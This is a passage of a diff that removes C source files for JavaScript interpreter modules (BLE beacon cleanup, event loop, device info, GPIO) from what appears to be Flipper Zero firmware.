||||
}
|
||||
if(blebeacon->saved_prev_data) {
|
||||
furi_check(
|
||||
furi_hal_bt_extra_beacon_set_data(blebeacon->prev_data, blebeacon->prev_data_len));
|
||||
}
|
||||
if(blebeacon->prev_active) {
|
||||
furi_check(furi_hal_bt_extra_beacon_start());
|
||||
}
|
||||
}
|
||||
free(blebeacon);
|
||||
}
|
||||
|
||||
static const JsModuleDescriptor js_blebeacon_desc = {
|
||||
"blebeacon",
|
||||
js_blebeacon_create,
|
||||
js_blebeacon_destroy,
|
||||
NULL,
|
||||
};
|
||||
|
||||
static const FlipperAppPluginDescriptor plugin_descriptor = {
|
||||
.appid = PLUGIN_APP_ID,
|
||||
.ep_api_version = PLUGIN_API_VERSION,
|
||||
.entry_point = &js_blebeacon_desc,
|
||||
};
|
||||
|
||||
const FlipperAppPluginDescriptor* js_blebeacon_ep(void) {
|
||||
return &plugin_descriptor;
|
||||
}
|
||||
@@ -1,458 +0,0 @@
|
||||
#include "js_event_loop.h"
|
||||
#include "../../js_modules.h" // IWYU pragma: keep
|
||||
#include <expansion/expansion.h>
|
||||
#include <mlib/m-array.h>
|
||||
|
||||
/**
|
||||
* @brief Number of arguments that callbacks receive from this module that they can't modify
|
||||
*/
|
||||
#define SYSTEM_ARGS 2
|
||||
|
||||
/**
|
||||
* @brief Context passed to the generic event callback
|
||||
*/
|
||||
typedef struct {
|
||||
FuriEventLoop* event_loop;
|
||||
JsEventLoopObjectType object_type;
|
||||
|
||||
struct mjs* mjs;
|
||||
mjs_val_t callback;
|
||||
// NOTE: not using an mlib array because resizing is not needed.
|
||||
mjs_val_t* arguments;
|
||||
size_t arity;
|
||||
|
||||
JsEventLoopTransformer transformer;
|
||||
void* transformer_context;
|
||||
} JsEventLoopCallbackContext;
|
||||
|
||||
/**
|
||||
* @brief Contains data needed to cancel a subscription
|
||||
*/
|
||||
typedef struct {
|
||||
FuriEventLoop* loop;
|
||||
JsEventLoopObjectType object_type;
|
||||
FuriEventLoopObject* object;
|
||||
JsEventLoopCallbackContext* context;
|
||||
JsEventLoopContract* contract;
|
||||
void* subscriptions; // SubscriptionArray_t, which we can't reference in this definition
|
||||
} JsEventLoopSubscription;
|
||||
|
||||
ARRAY_DEF(SubscriptionArray, JsEventLoopSubscription*, M_PTR_OPLIST); //-V575
|
||||
ARRAY_DEF(ContractArray, JsEventLoopContract*, M_PTR_OPLIST); //-V575
|
||||
|
||||
/**
|
||||
* @brief Per-module instance control structure
|
||||
*/
|
||||
struct JsEventLoop {
|
||||
FuriEventLoop* loop;
|
||||
SubscriptionArray_t subscriptions;
|
||||
ContractArray_t owned_contracts; //<! Contracts that were produced by this module
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Generic event callback, handles all events by calling the JS callbacks
|
||||
*/
|
||||
static void js_event_loop_callback_generic(void* param) {
|
||||
JsEventLoopCallbackContext* context = param;
|
||||
mjs_val_t result;
|
||||
mjs_err_t error = mjs_apply(
|
||||
context->mjs,
|
||||
&result,
|
||||
context->callback,
|
||||
MJS_UNDEFINED,
|
||||
context->arity,
|
||||
context->arguments);
|
||||
|
||||
bool is_error = strcmp(mjs_strerror(context->mjs, error), "NO_ERROR") != 0;
|
||||
bool asked_to_stop = js_flags_wait(context->mjs, ThreadEventStop, 0) & ThreadEventStop;
|
||||
if(is_error || asked_to_stop) {
|
||||
furi_event_loop_stop(context->event_loop);
|
||||
}
|
||||
|
||||
// save returned args for next call
|
||||
if(mjs_array_length(context->mjs, result) != context->arity - SYSTEM_ARGS) return;
|
||||
for(size_t i = 0; i < context->arity - SYSTEM_ARGS; i++) {
|
||||
mjs_disown(context->mjs, &context->arguments[i + SYSTEM_ARGS]);
|
||||
context->arguments[i + SYSTEM_ARGS] = mjs_array_get(context->mjs, result, i);
|
||||
mjs_own(context->mjs, &context->arguments[i + SYSTEM_ARGS]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Handles non-timer events
|
||||
*/
|
||||
static void js_event_loop_callback(void* object, void* param) {
|
||||
JsEventLoopCallbackContext* context = param;
|
||||
|
||||
if(context->transformer) {
|
||||
mjs_disown(context->mjs, &context->arguments[1]);
|
||||
context->arguments[1] =
|
||||
context->transformer(context->mjs, object, context->transformer_context);
|
||||
mjs_own(context->mjs, &context->arguments[1]);
|
||||
} else {
|
||||
// default behavior: take semaphores and mutexes
|
||||
switch(context->object_type) {
|
||||
case JsEventLoopObjectTypeSemaphore: {
|
||||
FuriSemaphore* semaphore = object;
|
||||
furi_check(furi_semaphore_acquire(semaphore, 0) == FuriStatusOk);
|
||||
} break;
|
||||
default:
|
||||
// the corresponding check has been performed when we were given the contract
|
||||
furi_crash();
|
||||
}
|
||||
}
|
||||
|
||||
js_event_loop_callback_generic(param);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Cancels an event subscription
|
||||
*/
|
||||
static void js_event_loop_subscription_cancel(struct mjs* mjs) {
|
||||
JsEventLoopSubscription* subscription = JS_GET_CONTEXT(mjs);
|
||||
|
||||
if(subscription->object_type == JsEventLoopObjectTypeTimer) {
|
||||
// timer operations are deferred, which creates lifetime issues
|
||||
// just stop the timer and let the cleanup routine free everything when the script is done
|
||||
furi_event_loop_timer_stop(subscription->object);
|
||||
return;
|
||||
}
|
||||
|
||||
furi_event_loop_unsubscribe(subscription->loop, subscription->object);
|
||||
|
||||
free(subscription->context->arguments);
|
||||
free(subscription->context);
|
||||
|
||||
// find and remove ourselves from the array
|
||||
SubscriptionArray_it_t iterator;
|
||||
for(SubscriptionArray_it(iterator, subscription->subscriptions);
|
||||
!SubscriptionArray_end_p(iterator);
|
||||
SubscriptionArray_next(iterator)) {
|
||||
JsEventLoopSubscription* item = *SubscriptionArray_cref(iterator);
|
||||
if(item == subscription) break;
|
||||
}
|
||||
SubscriptionArray_remove(subscription->subscriptions, iterator);
|
||||
free(subscription);
|
||||
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Subscribes a JavaScript function to an event
|
||||
*/
|
||||
static void js_event_loop_subscribe(struct mjs* mjs) {
|
||||
JsEventLoop* module = JS_GET_CONTEXT(mjs);
|
||||
|
||||
// get arguments
|
||||
static const JsValueDeclaration js_loop_subscribe_arg_list[] = {
|
||||
JS_VALUE_SIMPLE(JsValueTypeRawPointer),
|
||||
JS_VALUE_SIMPLE(JsValueTypeFunction),
|
||||
};
|
||||
static const JsValueArguments js_loop_subscribe_args =
|
||||
JS_VALUE_ARGS(js_loop_subscribe_arg_list);
|
||||
|
||||
JsEventLoopContract* contract;
|
||||
mjs_val_t callback;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_loop_subscribe_args, &contract, &callback);
|
||||
|
||||
// create subscription object
|
||||
JsEventLoopSubscription* subscription = malloc(sizeof(JsEventLoopSubscription));
|
||||
JsEventLoopCallbackContext* context = malloc(sizeof(JsEventLoopCallbackContext));
|
||||
subscription->loop = module->loop;
|
||||
subscription->object_type = contract->object_type;
|
||||
subscription->context = context;
|
||||
subscription->subscriptions = module->subscriptions;
|
||||
if(contract->object_type == JsEventLoopObjectTypeTimer) subscription->contract = contract;
|
||||
mjs_val_t subscription_obj = mjs_mk_object(mjs);
|
||||
mjs_set(mjs, subscription_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, subscription));
|
||||
mjs_set(mjs, subscription_obj, "cancel", ~0, MJS_MK_FN(js_event_loop_subscription_cancel));
|
||||
|
||||
// create callback context
|
||||
context->event_loop = module->loop;
|
||||
context->object_type = contract->object_type;
|
||||
context->arity = mjs_nargs(mjs) - SYSTEM_ARGS + 2;
|
||||
context->arguments = calloc(context->arity, sizeof(mjs_val_t));
|
||||
context->arguments[0] = subscription_obj;
|
||||
context->arguments[1] = MJS_UNDEFINED;
|
||||
for(size_t i = SYSTEM_ARGS; i < context->arity; i++) {
|
||||
mjs_val_t arg = mjs_arg(mjs, i - SYSTEM_ARGS + 2);
|
||||
context->arguments[i] = arg;
|
||||
mjs_own(mjs, &context->arguments[i]);
|
||||
}
|
||||
context->mjs = mjs;
|
||||
context->callback = callback;
|
||||
mjs_own(mjs, &context->callback);
|
||||
mjs_own(mjs, &context->arguments[0]);
|
||||
mjs_own(mjs, &context->arguments[1]);
|
||||
|
||||
// queue and stream contracts must have a transform callback, others are allowed to delegate
|
||||
// the obvious default behavior to this module
|
||||
if(contract->object_type == JsEventLoopObjectTypeQueue ||
|
||||
contract->object_type == JsEventLoopObjectTypeStream) {
|
||||
furi_check(contract->non_timer.transformer);
|
||||
}
|
||||
context->transformer = contract->non_timer.transformer;
|
||||
context->transformer_context = contract->non_timer.transformer_context;
|
||||
|
||||
// subscribe
|
||||
switch(contract->object_type) {
|
||||
case JsEventLoopObjectTypeTimer: {
|
||||
FuriEventLoopTimer* timer = furi_event_loop_timer_alloc(
|
||||
module->loop, js_event_loop_callback_generic, contract->timer.type, context);
|
||||
furi_event_loop_timer_start(timer, contract->timer.interval_ticks);
|
||||
contract->object = timer;
|
||||
} break;
|
||||
case JsEventLoopObjectTypeSemaphore:
|
||||
furi_event_loop_subscribe_semaphore(
|
||||
module->loop,
|
||||
contract->object,
|
||||
contract->non_timer.event,
|
||||
js_event_loop_callback,
|
||||
context);
|
||||
break;
|
||||
case JsEventLoopObjectTypeQueue:
|
||||
furi_event_loop_subscribe_message_queue(
|
||||
module->loop,
|
||||
contract->object,
|
||||
contract->non_timer.event,
|
||||
js_event_loop_callback,
|
||||
context);
|
||||
break;
|
||||
default:
|
||||
furi_crash("unimplemented");
|
||||
}
|
||||
|
||||
subscription->object = contract->object;
|
||||
SubscriptionArray_push_back(module->subscriptions, subscription);
|
||||
mjs_return(mjs, subscription_obj);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Runs the event loop until it is stopped
|
||||
*/
|
||||
static void js_event_loop_run(struct mjs* mjs) {
|
||||
JsEventLoop* module = JS_GET_CONTEXT(mjs);
|
||||
furi_event_loop_run(module->loop);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Stops a running event loop
|
||||
*/
|
||||
static void js_event_loop_stop(struct mjs* mjs) {
|
||||
JsEventLoop* module = JS_GET_CONTEXT(mjs);
|
||||
furi_event_loop_stop(module->loop);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Creates a timer event that can be subscribed to just like any other
|
||||
* event
|
||||
*/
|
||||
static void js_event_loop_timer(struct mjs* mjs) {
|
||||
static const JsValueEnumVariant js_loop_timer_mode_variants[] = {
|
||||
{"periodic", FuriEventLoopTimerTypePeriodic},
|
||||
{"oneshot", FuriEventLoopTimerTypeOnce},
|
||||
};
|
||||
|
||||
static const JsValueDeclaration js_loop_timer_arg_list[] = {
|
||||
JS_VALUE_ENUM(FuriEventLoopTimerType, js_loop_timer_mode_variants),
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
};
|
||||
static const JsValueArguments js_loop_timer_args = JS_VALUE_ARGS(js_loop_timer_arg_list);
|
||||
|
||||
FuriEventLoopTimerType mode;
|
||||
int32_t interval;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_loop_timer_args, &mode, &interval);
|
||||
|
||||
JsEventLoop* module = JS_GET_CONTEXT(mjs);
|
||||
|
||||
// make timer contract
|
||||
JsEventLoopContract* contract = malloc(sizeof(JsEventLoopContract));
|
||||
*contract = (JsEventLoopContract){
|
||||
.magic = JsForeignMagic_JsEventLoopContract,
|
||||
.object_type = JsEventLoopObjectTypeTimer,
|
||||
.object = NULL,
|
||||
.timer =
|
||||
{
|
||||
.interval_ticks = furi_ms_to_ticks((uint32_t)interval),
|
||||
.type = mode,
|
||||
},
|
||||
};
|
||||
ContractArray_push_back(module->owned_contracts, contract);
|
||||
mjs_return(mjs, mjs_mk_foreign(mjs, contract));
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Queue transformer. Takes `mjs_val_t` pointers out of a queue and
|
||||
* returns their dereferenced value
|
||||
*/
|
||||
static mjs_val_t
|
||||
js_event_loop_queue_transformer(struct mjs* mjs, FuriEventLoopObject* object, void* context) {
|
||||
UNUSED(context);
|
||||
mjs_val_t* message_ptr;
|
||||
furi_check(furi_message_queue_get(object, &message_ptr, 0) == FuriStatusOk);
|
||||
mjs_val_t message = *message_ptr;
|
||||
mjs_disown(mjs, message_ptr);
|
||||
free(message_ptr);
|
||||
return message;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Sends a message to a queue
|
||||
*/
|
||||
static void js_event_loop_queue_send(struct mjs* mjs) {
|
||||
// get arguments
|
||||
static const JsValueDeclaration js_loop_q_send_arg_list[] = {
|
||||
JS_VALUE_SIMPLE(JsValueTypeAny),
|
||||
};
|
||||
static const JsValueArguments js_loop_q_send_args = JS_VALUE_ARGS(js_loop_q_send_arg_list);
|
||||
|
||||
mjs_val_t message;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_loop_q_send_args, &message);
|
||||
|
||||
JsEventLoopContract* contract = JS_GET_CONTEXT(mjs);
|
||||
|
||||
// send message
|
||||
mjs_val_t* message_ptr = malloc(sizeof(mjs_val_t));
|
||||
*message_ptr = message;
|
||||
mjs_own(mjs, message_ptr);
|
||||
furi_message_queue_put(contract->object, &message_ptr, 0);
|
||||
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Creates a queue
|
||||
*/
|
||||
static void js_event_loop_queue(struct mjs* mjs) {
|
||||
// get arguments
|
||||
static const JsValueDeclaration js_loop_q_arg_list[] = {
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
};
|
||||
static const JsValueArguments js_loop_q_args = JS_VALUE_ARGS(js_loop_q_arg_list);
|
||||
|
||||
int32_t length;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_loop_q_args, &length);
|
||||
|
||||
JsEventLoop* module = JS_GET_CONTEXT(mjs);
|
||||
|
||||
// make queue contract
|
||||
JsEventLoopContract* contract = malloc(sizeof(JsEventLoopContract));
|
||||
*contract = (JsEventLoopContract){
|
||||
.magic = JsForeignMagic_JsEventLoopContract,
|
||||
.object_type = JsEventLoopObjectTypeQueue,
|
||||
// we could store `mjs_val_t`s in the queue directly if not for mJS' requirement to have consistent pointers to owned values
|
||||
.object = furi_message_queue_alloc((size_t)length, sizeof(mjs_val_t*)),
|
||||
.non_timer =
|
||||
{
|
||||
.event = FuriEventLoopEventIn,
|
||||
.transformer = js_event_loop_queue_transformer,
|
||||
},
|
||||
};
|
||||
ContractArray_push_back(module->owned_contracts, contract);
|
||||
|
||||
// return object with control methods
|
||||
mjs_val_t queue = mjs_mk_object(mjs);
|
||||
mjs_set(mjs, queue, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, contract));
|
||||
mjs_set(mjs, queue, "input", ~0, mjs_mk_foreign(mjs, contract));
|
||||
mjs_set(mjs, queue, "send", ~0, MJS_MK_FN(js_event_loop_queue_send));
|
||||
mjs_return(mjs, queue);
|
||||
}
|
||||
|
||||
static void* js_event_loop_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
|
||||
UNUSED(modules);
|
||||
mjs_val_t event_loop_obj = mjs_mk_object(mjs);
|
||||
JsEventLoop* module = malloc(sizeof(JsEventLoop));
|
||||
module->loop = furi_event_loop_alloc();
|
||||
SubscriptionArray_init(module->subscriptions);
|
||||
ContractArray_init(module->owned_contracts);
|
||||
|
||||
JS_ASSIGN_MULTI(mjs, event_loop_obj) {
|
||||
JS_FIELD(INST_PROP_NAME, mjs_mk_foreign(mjs, module));
|
||||
JS_FIELD("subscribe", MJS_MK_FN(js_event_loop_subscribe));
|
||||
JS_FIELD("run", MJS_MK_FN(js_event_loop_run));
|
||||
JS_FIELD("stop", MJS_MK_FN(js_event_loop_stop));
|
||||
JS_FIELD("timer", MJS_MK_FN(js_event_loop_timer));
|
||||
JS_FIELD("queue", MJS_MK_FN(js_event_loop_queue));
|
||||
}
|
||||
|
||||
*object = event_loop_obj;
|
||||
return module;
|
||||
}
|
||||
|
||||
static void js_event_loop_destroy(void* inst) {
|
||||
if(inst) {
|
||||
JsEventLoop* module = inst;
|
||||
furi_event_loop_stop(module->loop);
|
||||
|
||||
// free subscriptions
|
||||
SubscriptionArray_it_t sub_iterator;
|
||||
for(SubscriptionArray_it(sub_iterator, module->subscriptions);
|
||||
!SubscriptionArray_end_p(sub_iterator);
|
||||
SubscriptionArray_next(sub_iterator)) {
|
||||
JsEventLoopSubscription* const* sub = SubscriptionArray_cref(sub_iterator);
|
||||
free((*sub)->context->arguments);
|
||||
free((*sub)->context);
|
||||
free(*sub);
|
||||
}
|
||||
SubscriptionArray_clear(module->subscriptions);
|
||||
|
||||
// free owned contracts
|
||||
ContractArray_it_t iterator;
|
||||
for(ContractArray_it(iterator, module->owned_contracts); !ContractArray_end_p(iterator);
|
||||
ContractArray_next(iterator)) {
|
||||
// unsubscribe object
|
||||
JsEventLoopContract* contract = *ContractArray_cref(iterator);
|
||||
if(contract->object_type == JsEventLoopObjectTypeTimer) {
|
||||
furi_event_loop_timer_stop(contract->object);
|
||||
} else {
|
||||
furi_event_loop_unsubscribe(module->loop, contract->object);
|
||||
}
|
||||
|
||||
// free object
|
||||
switch(contract->object_type) {
|
||||
case JsEventLoopObjectTypeTimer:
|
||||
furi_event_loop_timer_free(contract->object);
|
||||
break;
|
||||
case JsEventLoopObjectTypeSemaphore:
|
||||
furi_semaphore_free(contract->object);
|
||||
break;
|
||||
case JsEventLoopObjectTypeQueue:
|
||||
furi_message_queue_free(contract->object);
|
||||
break;
|
||||
default:
|
||||
furi_crash("unimplemented");
|
||||
}
|
||||
|
||||
free(contract);
|
||||
}
|
||||
ContractArray_clear(module->owned_contracts);
|
||||
|
||||
furi_event_loop_free(module->loop);
|
||||
free(module);
|
||||
}
|
||||
}
|
||||
|
||||
extern const ElfApiInterface js_event_loop_hashtable_api_interface;
|
||||
|
||||
static const JsModuleDescriptor js_event_loop_desc = {
|
||||
"event_loop",
|
||||
js_event_loop_create,
|
||||
js_event_loop_destroy,
|
||||
&js_event_loop_hashtable_api_interface,
|
||||
};
|
||||
|
||||
static const FlipperAppPluginDescriptor plugin_descriptor = {
|
||||
.appid = PLUGIN_APP_ID,
|
||||
.ep_api_version = PLUGIN_API_VERSION,
|
||||
.entry_point = &js_event_loop_desc,
|
||||
};
|
||||
|
||||
const FlipperAppPluginDescriptor* js_event_loop_ep(void) {
|
||||
return &plugin_descriptor;
|
||||
}
|
||||
|
||||
FuriEventLoop* js_event_loop_get_loop(JsEventLoop* loop) {
|
||||
// porta: not the proudest function that i ever wrote
|
||||
furi_check(loop);
|
||||
return loop->loop;
|
||||
}
|
||||
@@ -1,104 +0,0 @@
|
||||
#include "../../js_modules.h" // IWYU pragma: keep
|
||||
#include <furi/core/event_loop.h>
|
||||
#include <furi/core/event_loop_timer.h>
|
||||
|
||||
/**
|
||||
* @file js_event_loop.h
|
||||
*
|
||||
* In JS interpreter code, `js_event_loop` always creates and maintains the
|
||||
* event loop. There are two ways in which other modules can integrate with this
|
||||
* loop:
|
||||
* - Via contracts: The user of your module would have to acquire an opaque
|
||||
* JS value from you and pass it to `js_event_loop`. This is useful for
|
||||
* events that they user may be interested in. For more info, look at
|
||||
* `JsEventLoopContract`. Also look at `js_event_loop_get_loop`, which
|
||||
* you will need to unsubscribe the event loop from your object.
|
||||
* - Directly: When your module is created, you can acquire an instance of
|
||||
* `JsEventLoop` which you can use to acquire an instance of
|
||||
* `FuriEventLoop` that you can manipulate directly, without the JS
|
||||
* programmer having to pass contracts around. This is useful for
|
||||
* "behind-the-scenes" events that the user does not need to know about. For
|
||||
* more info, look at `js_event_loop_get_loop`.
|
||||
*
|
||||
* In both cases, your module is responsible for both instantiating,
|
||||
* unsubscribing and freeing the object that the event loop subscribes to.
|
||||
*/
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef struct JsEventLoop JsEventLoop;
|
||||
|
||||
typedef enum {
|
||||
JsEventLoopObjectTypeTimer,
|
||||
JsEventLoopObjectTypeQueue,
|
||||
JsEventLoopObjectTypeMutex,
|
||||
JsEventLoopObjectTypeSemaphore,
|
||||
JsEventLoopObjectTypeStream,
|
||||
} JsEventLoopObjectType;
|
||||
|
||||
typedef mjs_val_t (
|
||||
*JsEventLoopTransformer)(struct mjs* mjs, FuriEventLoopObject* object, void* context);
|
||||
|
||||
typedef struct {
|
||||
FuriEventLoopEvent event;
|
||||
JsEventLoopTransformer transformer;
|
||||
void* transformer_context;
|
||||
} JsEventLoopNonTimerContract;
|
||||
|
||||
typedef struct {
|
||||
FuriEventLoopTimerType type;
|
||||
uint32_t interval_ticks;
|
||||
} JsEventLoopTimerContract;
|
||||
|
||||
/**
|
||||
* @brief Adapter for other JS modules that wish to integrate with the event
|
||||
* loop JS module
|
||||
*
|
||||
* If another module wishes to integrate with `js_event_loop`, it needs to
|
||||
* implement a function callable from JS that returns an mJS foreign pointer to
|
||||
* an instance of this structure. This value is then read by `event_loop`'s
|
||||
* `subscribe` function.
|
||||
*
|
||||
* There are two fundamental variants of this structure:
|
||||
* - `object_type` is `JsEventLoopObjectTypeTimer`: the `timer` field is
|
||||
* valid, and the `non_timer` field is invalid.
|
||||
* - `object_type` is something else: the `timer` field is invalid, and the
|
||||
* `non_timer` field is valid. `non_timer.event` will be passed to
|
||||
* `furi_event_loop_subscribe`. `non_timer.transformer` will be called to
|
||||
* transform an object into a JS value (called an item) that's passed to the
|
||||
* JS callback. This is useful for example to take an item out of a message
|
||||
* queue and pass it to JS code in a convenient format. If
|
||||
* `non_timer.transformer` is NULL, the event loop will take semaphores and
|
||||
* mutexes on its own.
|
||||
*
|
||||
* The producer of the contract is responsible for freeing both the contract and
|
||||
* the object that it points to when the interpreter is torn down.
|
||||
*/
|
||||
typedef struct {
|
||||
JsForeignMagic magic; // <! `JsForeignMagic_JsEventLoopContract`
|
||||
JsEventLoopObjectType object_type;
|
||||
FuriEventLoopObject* object;
|
||||
union {
|
||||
JsEventLoopNonTimerContract non_timer;
|
||||
JsEventLoopTimerContract timer;
|
||||
};
|
||||
} JsEventLoopContract;
|
||||
|
||||
static_assert(offsetof(JsEventLoopContract, magic) == 0);
|
||||
|
||||
/**
|
||||
* @brief Gets the FuriEventLoop owned by a JsEventLoop
|
||||
*
|
||||
* This function is useful in case your JS module wishes to integrate with
|
||||
* the event loop without passing contracts through JS code. Your module will be
|
||||
* dynamically linked to this one if you use this function, but only if JS code
|
||||
* imports `event_loop` _before_ your module. An instance of `JsEventLoop` may
|
||||
* be obtained via `js_module_get`.
|
||||
*/
|
||||
FuriEventLoop* js_event_loop_get_loop(JsEventLoop* loop);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -1,16 +0,0 @@
|
||||
#include <flipper_application/api_hashtable/api_hashtable.h>
|
||||
#include <flipper_application/api_hashtable/compilesort.hpp>
|
||||
|
||||
#include "js_event_loop_api_table_i.h"
|
||||
|
||||
static_assert(!has_hash_collisions(js_event_loop_api_table), "Detected API method hash collision!");
|
||||
|
||||
extern "C" constexpr HashtableApiInterface js_event_loop_hashtable_api_interface{
|
||||
{
|
||||
.api_version_major = 0,
|
||||
.api_version_minor = 0,
|
||||
.resolver_callback = &elf_resolve_from_hashtable,
|
||||
},
|
||||
js_event_loop_api_table.cbegin(),
|
||||
js_event_loop_api_table.cend(),
|
||||
};
|
||||
@@ -1,4 +0,0 @@
|
||||
#include "js_event_loop.h"
|
||||
|
||||
static constexpr auto js_event_loop_api_table = sort(
|
||||
create_array_t<sym_entry>(API_METHOD(js_event_loop_get_loop, FuriEventLoop*, (JsEventLoop*))));
|
||||
@@ -1,45 +0,0 @@
|
||||
#include "../js_modules.h" // IWYU pragma: keep
|
||||
#include <core/common_defines.h>
|
||||
#include <furi_hal_version.h>
|
||||
#include <power/power_service/power.h>
|
||||
|
||||
static void js_flipper_get_model(struct mjs* mjs) {
|
||||
mjs_val_t ret = mjs_mk_string(mjs, furi_hal_version_get_model_name(), ~0, true);
|
||||
mjs_return(mjs, ret);
|
||||
}
|
||||
|
||||
static void js_flipper_get_name(struct mjs* mjs) {
|
||||
const char* name_str = furi_hal_version_get_name_ptr();
|
||||
if(name_str == NULL) {
|
||||
name_str = "Unknown";
|
||||
}
|
||||
mjs_val_t ret = mjs_mk_string(mjs, name_str, ~0, true);
|
||||
mjs_return(mjs, ret);
|
||||
}
|
||||
|
||||
static void js_flipper_get_battery(struct mjs* mjs) {
|
||||
Power* power = furi_record_open(RECORD_POWER);
|
||||
PowerInfo info;
|
||||
power_get_info(power, &info);
|
||||
furi_record_close(RECORD_POWER);
|
||||
mjs_return(mjs, mjs_mk_number(mjs, info.charge));
|
||||
}
|
||||
|
||||
void* js_flipper_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
|
||||
UNUSED(modules);
|
||||
mjs_val_t sdk_vsn = mjs_mk_array(mjs);
|
||||
mjs_array_push(mjs, sdk_vsn, mjs_mk_number(mjs, JS_SDK_MAJOR));
|
||||
mjs_array_push(mjs, sdk_vsn, mjs_mk_number(mjs, JS_SDK_MINOR));
|
||||
|
||||
mjs_val_t flipper_obj = mjs_mk_object(mjs);
|
||||
*object = flipper_obj;
|
||||
JS_ASSIGN_MULTI(mjs, flipper_obj) {
|
||||
JS_FIELD("getModel", MJS_MK_FN(js_flipper_get_model));
|
||||
JS_FIELD("getName", MJS_MK_FN(js_flipper_get_name));
|
||||
JS_FIELD("getBatteryCharge", MJS_MK_FN(js_flipper_get_battery));
|
||||
JS_FIELD("firmwareVendor", mjs_mk_string(mjs, JS_SDK_VENDOR_FIRMWARE, ~0, false));
|
||||
JS_FIELD("jsSdkVersion", sdk_vsn);
|
||||
}
|
||||
|
||||
return (void*)1;
|
||||
}
|
||||
@@ -1,4 +0,0 @@
|
||||
#pragma once
|
||||
#include "../js_thread_i.h"
|
||||
|
||||
void* js_flipper_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules);
|
||||
@@ -1,490 +0,0 @@
|
||||
#include "../js_modules.h" // IWYU pragma: keep
|
||||
#include "./js_event_loop/js_event_loop.h"
|
||||
#include <furi_hal_gpio.h>
|
||||
#include <furi_hal_pwm.h>
|
||||
#include <furi_hal_resources.h>
|
||||
#include <expansion/expansion.h>
|
||||
#include <limits.h>
|
||||
#include <mlib/m-array.h>
|
||||
|
||||
#define INTERRUPT_QUEUE_LEN 16
|
||||
|
||||
/**
|
||||
* Per-pin control structure
|
||||
*/
|
||||
typedef struct {
|
||||
const GpioPin* pin;
|
||||
bool had_interrupt;
|
||||
FuriSemaphore* interrupt_semaphore;
|
||||
JsEventLoopContract* interrupt_contract;
|
||||
FuriHalAdcChannel adc_channel;
|
||||
FuriHalPwmOutputId pwm_output;
|
||||
FuriHalAdcHandle* adc_handle;
|
||||
} JsGpioPinInst;
|
||||
|
||||
ARRAY_DEF(ManagedPinsArray, JsGpioPinInst*, M_PTR_OPLIST); //-V575
|
||||
#define M_OPL_ManagedPinsArray_t() ARRAY_OPLIST(ManagedPinsArray)
|
||||
|
||||
/**
|
||||
* Per-module instance control structure
|
||||
*/
|
||||
typedef struct {
|
||||
FuriEventLoop* loop;
|
||||
ManagedPinsArray_t managed_pins;
|
||||
FuriHalAdcHandle* adc_handle;
|
||||
} JsGpioInst;
|
||||
|
||||
/**
|
||||
* @brief Interrupt callback
|
||||
*/
|
||||
static void js_gpio_int_cb(void* arg) {
|
||||
furi_assert(arg);
|
||||
FuriSemaphore* semaphore = arg;
|
||||
furi_semaphore_release(semaphore);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Initializes a GPIO pin according to the provided mode object
|
||||
*
|
||||
* Example usage:
|
||||
*
|
||||
* ```js
|
||||
* let gpio = require("gpio");
|
||||
* let led = gpio.get("pc3");
|
||||
* led.init({ direction: "out", outMode: "push_pull" });
|
||||
* ```
|
||||
*/
|
||||
static void js_gpio_init(struct mjs* mjs) {
|
||||
// direction variants
|
||||
typedef enum {
|
||||
JsGpioDirectionIn,
|
||||
JsGpioDirectionOut,
|
||||
} JsGpioDirection;
|
||||
static const JsValueEnumVariant js_gpio_direction_variants[] = {
|
||||
{"in", JsGpioDirectionIn},
|
||||
{"out", JsGpioDirectionOut},
|
||||
};
|
||||
static const JsValueDeclaration js_gpio_direction =
|
||||
JS_VALUE_ENUM(JsGpioDirection, js_gpio_direction_variants);
|
||||
|
||||
// inMode variants
|
||||
typedef enum {
|
||||
JsGpioInModeAnalog = (0 << 0),
|
||||
JsGpioInModePlainDigital = (1 << 0),
|
||||
JsGpioInModeInterrupt = (2 << 0),
|
||||
JsGpioInModeEvent = (3 << 0),
|
||||
} JsGpioInMode;
|
||||
static const JsValueEnumVariant js_gpio_in_mode_variants[] = {
|
||||
{"analog", JsGpioInModeAnalog},
|
||||
{"plain_digital", JsGpioInModePlainDigital},
|
||||
{"interrupt", JsGpioInModeInterrupt},
|
||||
{"event", JsGpioInModeEvent},
|
||||
};
|
||||
static const JsValueDeclaration js_gpio_in_mode =
|
||||
JS_VALUE_ENUM_W_DEFAULT(JsGpioInMode, js_gpio_in_mode_variants, JsGpioInModePlainDigital);
|
||||
|
||||
// outMode variants
|
||||
typedef enum {
|
||||
JsGpioOutModePushPull,
|
||||
JsGpioOutModeOpenDrain,
|
||||
} JsGpioOutMode;
|
||||
static const JsValueEnumVariant js_gpio_out_mode_variants[] = {
|
||||
{"push_pull", JsGpioOutModePushPull},
|
||||
{"open_drain", JsGpioOutModeOpenDrain},
|
||||
};
|
||||
static const JsValueDeclaration js_gpio_out_mode =
|
||||
